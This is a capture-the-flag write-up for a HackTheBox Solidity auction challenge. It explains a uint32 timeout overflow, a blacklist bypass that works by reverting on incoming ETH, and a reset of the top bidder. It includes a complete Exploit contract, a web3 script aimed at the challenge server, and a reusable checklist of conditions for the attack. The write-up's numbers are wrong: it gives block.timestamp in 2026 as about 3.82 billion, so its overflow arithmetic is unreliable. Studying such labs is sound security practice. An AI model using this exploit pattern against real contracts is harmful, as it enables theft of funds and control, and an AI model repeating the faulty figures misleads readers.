$ cat writeup.md…
$ cat writeup.md…
hackthebox
Task: Become keyOwner in AuctionHouse contract by calling claimPrize() as top bidder after timeout passes. Solution: Exploit uint32 overflow on timeout variable (Solidity 0.7.x has no overflow protection) by performing 16 bid-withdraw cycles, bypassing blacklist by rejecting ETH in receive() function.
After weeks of stealthy spying, Alex's efforts finally paid off. Not only did she manage to steal the key, but she also overheard the rival group talking about a secret auction being held in a nearby town. According to them, the third and final key to the coveted secret treasure would be up for grabs at the auction. The group was excited by the news and immediately set out for the town. Upon arrival, they found a bustling market filled with all sorts of strange and exotic items. They made their way to the auction house, where they found a large crowd of treasure hunters all vying for the final key. The group watched as the auctioneer began the bidding. They knew that they had to get the key no matter what it took.
Goal: Become keyOwner in the AuctionHouse contract — call claimPrize() as top bidder, provided that timeout has already passed.
Setup.sol — deploys AuctionHouse with 0.5 ETH. Checks solution: isSolved(player) returns true when TARGET.keyOwner() == player.
AuctionHouse.sol — auction contract with several critical vulnerabilities:
contract AuctionHouse { struct Key { address owner; } struct Bidder { address addr; uint64 bid; } Key private phoenixKey = Key(address(0)); uint32 public timeout; // ← uint32, max ~4.29 billion Bidder[] public bidders; mapping(address => bool) private blacklisted; uint32 public constant YEAR = 31556926; // ← ~31.5 million constructor() payable { timeout = uint32(block.timestamp); // ← ~3.82 billion (2026) _newBidder(msg.sender, 0.5 ether); } receive() external payable { if ((uint64(msg.value) >= 2 * topBidder().bid) && (msg.sender != topBidder().addr) && (!blacklisted[msg.sender]) && (_isPayable(msg.sender))) { _newBidder(msg.sender, uint64(msg.value)); timeout += YEAR; // ← overflow after ~16 iterations } } function withdrawFromAuction() public topBidderOnly { Bidder memory withdrawer = topBidder(); bidders.pop(); // ← pop BEFORE sending ETH (bool success,) = payable(withdrawer.addr).call{value: withdrawer.bid / 2}(""); if (success) { blacklisted[withdrawer.addr] = true; // ← only on success! blacklisted[tx.origin] = true; } } function claimPrize() public topBidderOnly { require(uint32(block.timestamp) > timeout, "Still locked"); require(phoenixKey.owner == address(0)); phoenixKey.owner = topBidder().addr; } }
The timeout variable has type uint32 (maximum 2^32 - 1 = 4,294,967,295). The contract compiles with pragma solidity ^0.7.0 — no built-in overflow protection (SafeMath not used, checked arithmetic only appeared in 0.8.x).
timeout = uint32(block.timestamp) ≈ 3,820,000,000 (year 2026)timeout += YEAR = 31,556,9263,820,000,000 + 16 × 31,556,926 = 4,324,910,816 → overflows 2^32 and wraps to 4,324,910,816 - 4,294,967,296 = 29,943,520timeout ≈ 30 million, while block.timestamp ≈ 3.82 billion → condition block.timestamp > timeout is satisfied!The withdrawFromAuction() function:
bidders.pop() — removes top bidder from arraycall{value: withdrawer.bid / 2}("")success adds to blacklistIf our contract rejects ETH (revert in receive()), then success = false → blacklist not updated → can bid again!
After bidders.pop() the top bidder becomes the Setup contract again with bid = 0.5 ETH. This means each new bid only needs to be >= 2 × 0.5 = 1 ETH, rather than growing exponentially.
Combining all three vulnerabilities:
claimPrize() — timeout overflowed, condition satisfied// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.7.0; pragma abicoder v2; interface IAuctionHouse { function timeout() external view returns (uint32); function topBidder() external view returns (address addr, uint64 bid); function withdrawFromAuction() external; function claimPrize() external; function keyTransfer(address _newOwner) external; function keyOwner() external view returns (address); } contract Exploit { IAuctionHouse public target; bool public acceptETH; address public owner; constructor(address _target) payable { target = IAuctionHouse(_target); acceptETH = true; owner = msg.sender; } function setAcceptETH(bool _accept) external { require(msg.sender == owner); acceptETH = _accept; } function bid(uint256 amount) external { acceptETH = true; (bool success,) = address(target).call{value: amount}(""); require(success, "Bid failed"); } function bidAndWithdraw(uint256 amount) external { acceptETH = true; (bool success,) = address(target).call{value: amount}(""); require(success, "Bid failed"); acceptETH = false; target.withdrawFromAuction(); } /// @notice Full attack in one transaction /// @param bidAmount Amount to bid each iteration (1 ether) /// @param iterations Number of bid-withdraw cycles (16 for overflow) function attack(uint256 bidAmount, uint256 iterations) external { for (uint256 i = 0; i < iterations; i++) { // Bid — accept ETH for the zero-value payability check acceptETH = true; (bool success,) = address(target).call{value: bidAmount}(""); require(success, "Bid failed"); // Withdraw — reject ETH to bypass blacklist acceptETH = false; target.withdrawFromAuction(); } // Final bid — stay as top bidder acceptETH = true; (bool success2,) = address(target).call{value: bidAmount}(""); require(success2, "Final bid failed"); // Claim the prize (timeout has overflowed) target.claimPrize(); } function transferKey(address _to) external { target.keyTransfer(_to); } function claim() external { target.claimPrize(); } function withdrawETH() external { require(msg.sender == owner); (bool success,) = payable(owner).call{value: address(this).balance}(""); require(success); } receive() external payable { if (!acceptETH) { revert("No ETH accepted"); } } }
acceptETHThe AuctionHouse contract checks _isPayable(msg.sender) when bidding — sends 0 ETH and checks success. Our contract must accept ETH during bidding (to pass the check), but reject ETH during withdraw (to bypass blacklist).
The acceptETH flag toggles between these phases:
acceptETH = true → bid → AuctionHouse checks payability → OKacceptETH = false → withdraw → AuctionHouse tries to return ETH → revert → success = false → blacklist not applied#!/usr/bin/env python3 from web3 import Web3 import requests import json # 1. Get connection info RPC_URL = "http://154.57.164.74:31120/rpc" conn_info = requests.get("http://154.57.164.74:31120/connection_info").json() player_private_key = conn_info["PrivateKey"] setup_address = conn_info["SetupAddress"] w3 = Web3(Web3.HTTPProvider(RPC_URL)) player = w3.eth.account.from_key(player_private_key) # 2. Get AuctionHouse address from Setup setup_abi = [{"inputs":[],"name":"TARGET","outputs":[{"type":"address"}],"stateMutability":"view","type":"function"}, {"inputs":[{"type":"address"}],"name":"isSolved","outputs":[{"type":"bool"}],"stateMutability":"view","type":"function"}] setup = w3.eth.contract(address=setup_address, abi=setup_abi) auction_address = setup.functions.TARGET().call() # 3. Compile exploit with forge # forge create --rpc-url $RPC_URL --private-key $KEY src/Exploit.sol:Exploit \ # --constructor-args $AUCTION_ADDRESS --value 20ether # 4. Call attack(1 ether, 16) # This performs 16 bid-withdraw cycles + final bid + claimPrize in one tx # 5. Transfer key to player EOA # exploit.transferKey(player.address) # 6. Verify and get flag assert setup.functions.isSolved(player.address).call() flag = requests.get("http://154.57.164.74:31120/flag").text print(flag)
exploit.attack(1 ether, 16) — single transaction:
timeout += YEAR, after 16 iterations timeout overflows uint32claimPrize() — timeout ≈ 30M < block.timestamp ≈ 3.82B → successexploit.transferKey(playerAddress) — transfer key to player EOAisSolved(player) → true/flagtimeout_start ≈ 3,820,000,000 (block.timestamp in 2026)
YEAR = 31,556,926
After 1 bid: 3,851,556,926
After 2 bids: 3,883,113,852
...
After 15 bids: 4,293,353,890 (still < 2^32 = 4,294,967,296)
After 16 bids: 4,324,910,816 → overflow → 4,324,910,816 - 4,294,967,296 = 29,943,520
block.timestamp ≈ 3,820,000,000 > 29,943,520 = timeout ✓
Use this technique when:
uint32 for timestamp variable — uint32 overflows in 2106, but if initial value is close to block.timestamp and there's an increment, overflow is achievable in a few iterationspragma solidity ^0.7.x — versions before 0.8.0 have no built-in overflow checking, arithmetic silently wrapstimeout += YEAR or similar large increment to uint32 — direct path to overflowsuccess of external call — if blacklist is only applied on successful ETH transfer, attacker contract can reject ETH and bypass the restrictionpop() before external call — state changes before checking result, allowing auction reset>= 2 * topBidder().bid — after withdraw top bidder resets, making repeated bids cheap$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar